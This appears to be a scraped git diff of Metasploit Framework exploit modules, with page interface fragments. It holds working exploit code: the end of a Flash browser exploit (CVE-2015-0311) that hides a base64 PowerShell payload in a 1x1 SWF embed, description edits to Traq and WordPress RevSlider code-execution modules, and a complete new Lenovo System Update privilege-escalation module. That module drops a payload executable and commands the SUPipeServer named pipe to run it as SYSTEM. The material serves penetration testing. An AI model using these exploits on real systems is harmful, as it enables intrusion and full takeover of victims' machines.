os =~ OperatingSystems::Match::WINDOWS_7
|
||||
end,
|
||||
:ua_name => lambda do |ua|
|
||||
case target.name
|
||||
when 'Windows'
|
||||
return true if ua == Msf::HttpClients::IE
|
||||
when 'Linux'
|
||||
return true if ua == Msf::HttpClients::FF
|
||||
end
|
||||
|
||||
false
|
||||
end,
|
||||
:flash => lambda do |ver|
|
||||
case target.name
|
||||
when 'Windows'
|
||||
return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287')
|
||||
when 'Linux'
|
||||
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438')
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86
|
||||
}
|
||||
],
|
||||
[ 'Linux',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Apr 28 2014',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status('Sending SWF...')
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Sending HTML...')
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
|
||||
if target.name =~ /Windows/
|
||||
target_payload = get_payload(cli, target_info)
|
||||
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||
platform_id = 'win'
|
||||
elsif target.name =~ /Linux/
|
||||
target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD))
|
||||
b64_payload = Rex::Text.encode_base64(target_payload)
|
||||
platform_id = 'linux'
|
||||
end
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
|
@ -17,12 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
This module exploits an arbitrary command execution vulnerability in
|
||||
Traq 2.0 to 2.3. It's in the admincp/common.php script.
|
||||
|
||||
This function is called in each script located into /admicp/ directory to
|
||||
make sure the user has admin rights, but this is a broken authorization
|
||||
schema due to the header() function doesn't stop the execution flow. This
|
||||
can be exploited by malicious users to execute admin functionality resulting
|
||||
for e.g. in execution of arbitrary PHP code leveraging of plugins.php
|
||||
functionality.
|
||||
This function is called in each script located in the /admicp/ directory to
|
||||
make sure the user has admin rights. This is a broken authorization schema
|
||||
because the header() function doesn't stop the execution flow.
|
||||
This can be exploited by malicious users to execute admin functionality,
|
||||
e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
|
|
@ -16,9 +16,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'WordPress RevSlider File Upload and Execute Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary PHP code upload in the WordPress ThemePunch
|
||||
Slider Revolution (RevSlider) plugin, versions 3.0.95 and prior. The
|
||||
vulnerability allows for arbitrary file upload and remote code execution.
|
||||
This module exploits an arbitrary PHP code upload vulnerability in the
|
||||
WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions 3.0.95
|
||||
and prior. The vulnerability allows for arbitrary file upload and remote code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
|
|
@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015, 7, 21), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf')
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
|
|
@ -43,7 +43,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
{
|
||||
:source => /script|headers/i,
|
||||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
:ua_name => /MSIE|KXCLIE/i
|
||||
:ua_name => /MSIE|KXCLIE/i,
|
||||
:activex => [
|
||||
{
|
||||
clsid: '{1A90B808-6EEF-40FF-A94C-D7C43C847A9F}',
|
||||
method: 'ProjectURL'
|
||||
}
|
||||
],
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
|
||||
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp'])
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# The USERNAME and PASSWORD are registered again to make them more obvious they're
|
||||
# configurable.
|
||||
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
||||
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
|
||||
OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp'])
|
||||
], self.class)
|
||||
end
|
||||
|
|
|
@ -0,0 +1,193 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Services
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Lenovo System Update Privilege Escalation',
|
||||
'Description' => %q{
|
||||
The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
|
||||
System update service. The service provides the possibility to execute arbitrary
|
||||
commands as SYSTEM if a valid security token is provided. This token can be generated
|
||||
by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
|
||||
System Update is stopped by default but can be started/stopped calling the Executable
|
||||
ConfigService.exe.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Micahel Milvich', # vulnerability discovery, advisory
|
||||
'Sofiane Talmat', # vulnerability discovery, advisory
|
||||
'h0ng10' # Metasploit module
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows', { } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '121522'],
|
||||
['CVE', '2015-2219'],
|
||||
['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
|
||||
],
|
||||
'DisclosureDate' => 'Apr 12 2015',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
register_options([
|
||||
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
|
||||
OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
os = sysinfo['OS']
|
||||
|
||||
unless os =~ /windows/i
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
svc = service_info('SUService')
|
||||
if svc && svc[:display] =~ /System Update/
|
||||
vprint_good("Found service '#{svc[:display]}'")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def write_named_pipe(pipe, command)
|
||||
invalid_handle_value = 0xFFFFFFFF
|
||||
|
||||
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
|
||||
handle = r['return']
|
||||
|
||||
if handle == invalid_handle_value
|
||||
fail_with(Failure::NoTarget, "#{pipe} named pipe not found")
|
||||
else
|
||||
vprint_good("Opended #{pipe}! Proceeding...")
|
||||
end
|
||||
|
||||
begin
|
||||
|
||||
# First, write the string length as Int32 value
|
||||
w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
|
||||
|
||||
if w['return'] == false
|
||||
print_error('The was an error writing to pipe, check permissions')
|
||||
return false
|
||||
end
|
||||
|
||||
# Then we send the real command
|
||||
w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
|
||||
|
||||
if w['return'] == false
|
||||
print_error('The was an error writing to pipe, check permissions')
|
||||
return false
|
||||
end
|
||||
ensure
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
def get_security_token(lenovo_directory)
|
||||
unless client.railgun.get_dll('tvsutil')
|
||||
client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
|
||||
client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl')
|
||||
end
|
||||
|
||||
dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
|
||||
|
||||
dll_response['systeminfo'][0,40]
|
||||
end
|
||||
|
||||
|
||||
def config_service(lenovo_directory, option)
|
||||
cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Failure::NoTarget, 'Session is already elevated')
|
||||
end
|
||||
|
||||
su_directory = service_info('SUService')[:path][1..-16]
|
||||
print_status('Starting service via ConfigService.exe')
|
||||
config_service(su_directory, 'start')
|
||||
|
||||
print_status('Giving the service some time to start...')
|
||||
Rex.sleep(datastore['Sleep'])
|
||||
|
||||
print_status("Getting security token...")
|
||||
token = get_security_token(su_directory)
|
||||
vprint_good("Security token is: #{token}")
|
||||
|
||||
if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?
|
||||
temp_dir = get_env('TEMP')
|
||||
else
|
||||
temp_dir = datastore['WritableDir']
|
||||
end
|
||||
|
||||
print_status("Using #{temp_dir} to drop the payload")
|
||||
|
||||
begin
|
||||
cd(temp_dir)
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
|
||||
end
|
||||
|
||||
print_status('Writing malicious exe to remote filesystem')
|
||||
write_path = pwd
|
||||
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
|
||||
|
||||
begin
|
||||
write_file(exe_name, generate_payload_exe)
|
||||
register_file_for_cleanup("#{write_path}\\#{exe_name}")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
|
||||
end
|
||||
|
||||
print_status('Sending Execute command to update service')
|
||||
|
||||
begin
|
||||
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
fail_with(Failure::Unknown, 'Failed to write to pipe')
|
||||
end
|
||||
|
||||
unless write_res
|
||||
fail_with(Failure::Unknown, 'Failed to write to pipe')
|
||||
end
|
||||
|
||||
print_status('Stopping service via ConfigService.exe')
|
||||
config_service(su_directory, 'stop')
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue